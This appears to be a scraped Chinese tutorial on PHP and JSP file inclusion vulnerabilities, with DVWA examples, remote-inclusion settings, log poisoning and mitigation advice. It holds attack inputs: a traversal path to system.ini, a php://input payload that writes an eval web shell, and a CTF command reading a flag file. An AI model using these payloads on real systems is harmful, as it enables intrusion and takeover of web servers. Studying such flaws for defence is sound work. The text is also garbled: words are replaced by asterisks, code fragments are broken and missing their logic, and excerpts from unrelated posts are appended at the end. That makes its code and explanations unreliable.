檔案包含漏洞

2021-10-18 10:39:01 字數 3095 閱讀 6550

程式開發人員通常會把可重複使用的函式寫入到單個檔案中,在使用某些函式時,直接呼叫此檔案,而無需再次編寫,這種呼叫檔案的過程被稱為包含。

有時候由於**功能需求,會讓前端使用者選擇要包含的檔案,而開發人員又沒有對要包含的檔案進行安全考慮,就導致攻擊者可以通過修改檔案的位置來讓後台執行任意檔案,從而導致檔案包含漏洞。

可能存在的漏洞 url

…/上一級目錄

windows是反斜槓\,url是斜槓/

require(),找不到被包含的檔案時會產生致命錯誤,並停止指令碼執行。

include(),找不到被包含的檔案時只會產生警告,指令碼將繼續執行。

include_once()與include()類似,唯一區別是如果該檔案中的**已經被包含則不會再次包含。

require once()與require()類似,唯一區別是如果該檔案中的**已經被包含不會再次包含

直接輸入dvwa/vulnerabilities/fi/?page=c:\windows\system.ini

php$file在index.php上存在函式為include

<?php 

// the page we wish to display

$file

=$_get

['page'];

?>

通過str replace()函式將http://和https://都替換成了空,主要是為了防止遠端檔案包含。

遠端包含漏洞前提,php.ini配置如下:

allow_url_fopen = on//預設開啟

allow url_include=on//預設關閉

magic_quotes _gpc=off//預設關閉

php://

使用php://input 看執行php語句但必須在url_include 開啟時

<?fputs (fopen("1.php","w"),"<?php eval(\$_post['233']);?>")?>

只要檔案符合php語法,任何副檔名都會被php解析

fnmatch()函式根據指定的模式來匹配檔名或字串

<?php 

// the page we wish to display

$file

=$_get

['page'];

// input validationif(

!fnmatch

("file*"

,$file)&&

$file

!="include.php"

)?>

直接定義白名單,這是有效的防護手段

<?php 

// the page we wish to display

$file

=$_get

['page'];

// only allow include.php or file.phpif(

$file

!="include.php"

&&$file

!="file1.php"

&&$file

!="file2.php"

&&$file

!="file3.php"

)?>

apache存在兩個日誌檔案 access.log 和error.log (好像名字不一樣)

當訪問乙個不存在的資源時,,apache任會記錄,所以就可以訪問url:

<?php phpinfo();?> 但大於號和小於號會被轉義

dna可以用brup繞過編碼

但前提條件是知道阿帕奇路徑所以盡量不要用預設路徑

執行時先進行包含,再做處理操作

因為include指令為靜態包含,使用include指令不能包含變數,也就不存在檔案包含漏洞。

執行時先會處理被包含頁面,然後再包含

如果標籤中包含乙個非jsp拓展名時,即使符合jsp語法任會無效,所以jsp即使被利用得到的也有限。

servlet

1.嚴格判斷引數

2.路徑限制:限制被包含的檔案只在本資料夾中,禁止目錄跳轉

3.定義白名單

4.盡量不要用動態包含 ,可以在需要包含的頁面固定寫好,eg:include(「head.php」);

ls 遍歷目錄

ls/ 下級目錄

cat 連線檔案還有more

限制只能使用php開頭的偽協議

if

(substr

($_get

["file"],

0,6)

==="php://"

)else

?>

?cmd=system(『cat /flag_27375』);

檔案包含漏洞

簡單的來說,就是我們用乙個可控的變數作為檔名並以檔案包含的的方式呼叫了它,漏洞就產生了。以php為例檔案包含漏洞可以分為rfi 遠端檔案包含 和lfi 本地檔案包含漏洞 兩種。而區分他們最簡單的方法就是php.ini中是否開啟了allow url include。如果開啟了可能包含遠端檔案,如果不是...

檔案包含漏洞

1 什麼是檔案包含漏洞 檔案包含,包括本地檔案包含 locao file inclusion,lfi 和遠端檔案包含 remote file inclusion,rfi 兩種形式。首先,本地檔案包含就是通過瀏覽器引進 包含 web伺服器上的檔案,這種漏洞一般發生在瀏覽器包含檔案時沒有進行嚴格的過濾,...

檔案包含漏洞

直接執行 的函式 eval assert system exec shell exec passthru escapeshellcmd pcntl exec 等就不一一舉例了。1 eval eval 函式把字串按照 php 來計算,如常見的一句話後門程式 eval post cmd 2 assert...